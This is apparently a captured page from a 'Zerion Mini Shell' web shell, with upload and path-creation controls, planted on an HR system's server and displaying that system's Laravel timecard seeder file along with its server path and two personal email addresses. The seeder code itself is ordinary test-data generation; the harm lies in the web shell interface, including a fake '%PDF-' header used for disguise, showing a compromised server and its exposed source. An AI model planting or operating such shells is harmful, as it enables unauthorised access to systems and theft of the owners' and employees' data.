%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hrsys/api/database/seeds/
Upload File :
Create Path :
Current File : /var/www/html/hrsys/api/database/seeds/TimecardsTableSeeder.php

<?php

use App\Models\Day;
use App\Models\Project;
use App\Models\Timecard;
use App\Models\User;
use Carbon\Carbon;
use Carbon\CarbonPeriod;
use Faker\Generator as Faker;
use Illuminate\Database\Seeder;

class TimecardsTableSeeder extends Seeder
{
    /**
     * @var Faker
     */
    private $faker;

    /**
     * ProjectsTableSeeder constructor.
     * @param Faker $faker
     */
    public function __construct(Faker $faker)
    {

        $this->faker = $faker;
    }

    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        $user1 = User::query()
                     ->where('email', 'elia.gjura1@gmail.com')
                     ->first();
        $user2 = User::query()
                     ->where('email', 'shaban.ramadani@hrsys.al')
                     ->first();

        $start = Carbon::now()
                       ->startOfYear();
        $end = Carbon::now()
                     ->endOfDay();

        $range = CarbonPeriod::create($start, $end);

        foreach ($range as $date) {
            /** @var Timecard $item1 */
            $isWorkingDay = Day::isWorkingDay($date);
            $expectedWorkingHours = $isWorkingDay
                ? 8
                : 2;
            $item1 = Timecard::query()
                             ->make([
                                 'date'           => $date,
                                 'start_time'     => '09:00',
                                 'end_time'       => '17:00',
                                 'notes'          => $this->faker->paragraph,
                                 'hours'          => $expectedWorkingHours,
                                 'status'         => Timecard::APPROVED,
                                 'approved_hours' => $this->faker->numberBetween($expectedWorkingHours - 2, $expectedWorkingHours + 2),
                             ]);
            $item1->user()
                  ->associate($user1);
            $item1->project()
                  ->associate(Project::query()
                                     ->orderByRaw('RAND()')
                                     ->first()->id);
            $item1->save();

            /** @var Timecard $item2 */
            $item2 = Timecard::query()
                             ->make([
                                 'date'           => $date,
                                 'start_time'     => '09:00',
                                 'end_time'       => '17:00',
                                 'notes'          => $this->faker->paragraph,
                                 'hours'          => $expectedWorkingHours,
                                 'status'         => Timecard::APPROVED,
                                 'approved_hours' => $this->faker->numberBetween($expectedWorkingHours - 2, $expectedWorkingHours + 2),
                             ]);
            $item2->user()
                  ->associate($user2);
            $item2->project()
                  ->associate(Project::query()
                                     ->orderByRaw('RAND()')
                                     ->first()->id);
            $item2->save();
        }


    }
}

Zerion Mini Shell 1.0